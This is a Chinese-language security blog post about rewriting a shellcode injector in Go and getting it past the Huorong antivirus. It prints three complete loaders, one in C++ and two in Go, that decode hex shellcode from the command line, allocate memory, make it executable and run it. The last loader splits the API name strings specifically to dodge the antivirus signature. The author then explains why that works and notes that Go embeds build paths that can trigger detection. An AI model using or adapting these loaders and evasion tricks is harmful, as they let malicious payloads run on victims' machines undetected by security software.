WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

GO重写SSI

原项目:https://github.com/DimopoulosElias/SimpleShellcodeInjector

0x01 C++版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {
unsigned int char_in_hex; //这里不知道为啥要写成int然后后面强制转换为char,直接写char也行
char* shellcode = argv[1]; //获取命令行之后的参数
unsigned int iterations = strlen(shellcode); //获取shellcode长度,用于循环
unsigned int memory_allocation = strlen(shellcode) / 2; //要开内存的大小,因为两个数字代表一个字符,所以/2

for (unsigned int i = 0; i < iterations - 1; i++) {
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
//循环,每次取两个数字合并成一个HEX然后放入char_in_hex里面,如果上面定义的char_in_hex是char类型这里就不用强制类型转换了

//这里就常规的((void(*)())exec)()的理解那篇,基本都是一样的,至于这里为什么要多一个*是一位这里是标准函数调用,那篇文章也有提过
void* exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

(*(void (*)()) exec)();

return 0;
}

把主要的代码复制过来了,一些logo就不复制了,关键的地方也注释了

0x02 GO版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package main

import (
"encoding/hex"
"fmt"
"os"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
PAGE_EXECUTE = 0x10
PAGE_READWRITE = 0x04
)

var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var VirtualAlloc = kernel32.NewProc("VirtualAlloc")
var memcpy = syscall.NewLazyDLL("msvcrt.dll").NewProc("memcpy")
var VirtualProtect = kernel32.NewProc("VirtualProtect")

func main() {
if (len(os.Args) < 2){
fmt.Println("example:./code.exe code")
syscall.Exit(1)
}
s := os.Args[1]
x,_ := hex.DecodeString(s)
exec,_,_ :=VirtualAlloc.Call(
uintptr(0),
uintptr(len(s)),
uintptr(MEM_COMMIT),
uintptr(PAGE_READWRITE))
memcpy.Call(exec, uintptr(unsafe.Pointer(&x[0])), uintptr(len(x)))
var oldfperms2 uint32;
VirtualProtect.Call(
uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&exec)))),
uintptr(uint(len(s))),
uintptr(uint32(PAGE_EXECUTE)),
uintptr(unsafe.Pointer(&oldfperms2)))
syscall.Syscall(exec,0,0,0,0)
}

这就很坑了,这玩意才写出来几天,刚写出来都是免杀的,为了写这篇文章重新测试的时候发现被火绒杀爆了,于是开始找原因,最后发现在

1
2
var VirtualAlloc = kernel32.NewProc("VirtualAlloc")
var VirtualProtect = kernel32.NewProc("VirtualProtect")

这两句话上面,两个都是申请内存的函数,这就很想不通了,火绒应该不至于连申请内存的函数都不让用吧,而且C++的火绒也没有杀啊

思考了一下感觉问题出现在字符串上面,如果字符串不连接,是不是就不容易被检测出来

于是尝试了一下,的确拼接字符串可以绕过

下面是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main

import (
"encoding/hex"
"fmt"
"os"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
PAGE_EXECUTE = 0x10
PAGE_READWRITE = 0x04
)

var _hao string = "Virtual"
var hao string = "Alloc"
var _fan string = "Vir"
var fan string = "tualProtect"
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var VirtualAlloc = kernel32.NewProc(_hao+hao)
var memcpy = syscall.NewLazyDLL("msvcrt.dll").NewProc("memcpy")
var VirtualProtect = kernel32.NewProc(_fan+fan)

func main() {
if (len(os.Args) < 2){
fmt.Println("example:./code.exe code")
syscall.Exit(1)
}
s := os.Args[1]
x,_ := hex.DecodeString(s)
exec,_,_ :=VirtualAlloc.Call(
uintptr(0),
uintptr(len(s)),
uintptr(MEM_COMMIT),
uintptr(PAGE_READWRITE))
memcpy.Call(exec, uintptr(unsafe.Pointer(&x[0])), uintptr(len(x)))
var oldfperms2 uint32;
VirtualProtect.Call(
uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&exec)))),
uintptr(uint(len(s))),
uintptr(uint32(PAGE_EXECUTE)),
uintptr(unsafe.Pointer(&oldfperms2)))
syscall.Syscall(exec,0,0,0,0)
}

0x03 免杀思路

首先确定VirtualProtect是可以使用的,因为C++版没有报毒

所以应该不是拦截函数,在上面的程序里VirtualProtect是出现在字符串里面的,在PE一般字符串是存放在.rdata里面的,猜测火绒认为VirtualProtectal字符串不应该出现在这里

所以定义两个字符串拼接,字符串就不会连接起来,尝试了之后发现的确是可以

(后来查看了一下C++版本的PE文件发现VirtualProtect也是在.rdata里面的,可能是因为编程语言的不同所以杀软辨别的不一样)

然后想把另外一个也改一下,就是两则shellcode加载器文章的第一个,因为里面也有这个字符串

但是那个就开始扯起来了,怎么改都报毒..后来删到只剩一个空的main函数了还是报毒..

猜测go编译器是不是把路径也编译进去了..因为这个文件夹名称是VirtualProtect,后来换了有一个文件夹果然不报毒了..看了一下PE还真把路径写进去了

这也是一个小坑点吧

最后来看一下两个PE文件的区别

未报毒

可以看到搜索不到VirtualProtect字符串

报毒

可以搜索到VirtualProtect字符串,用00覆盖掉,杀软就报毒了,证明这是特征码